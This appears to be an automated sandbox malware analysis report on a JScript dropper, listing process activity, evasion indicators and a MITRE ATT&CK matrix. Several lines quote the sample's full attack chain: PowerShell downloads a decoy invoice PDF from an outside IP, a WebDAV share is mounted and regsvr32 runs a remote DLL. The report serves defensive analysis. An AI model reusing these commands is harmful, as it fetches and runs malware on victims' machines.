Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3935.js.csv");ITextStream.WriteLine(" entry:7568 f:uivfycmfm");ITextStream.WriteLine(" exec:2 f:uivfycmfm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4812			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4975			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 4812 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 4975 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6108	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6412	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1824	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2728	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2189283924.000001FF09EA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2189283924.000001FF09F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3412778473.0000020EC2854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3411791881.0000020EBD22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
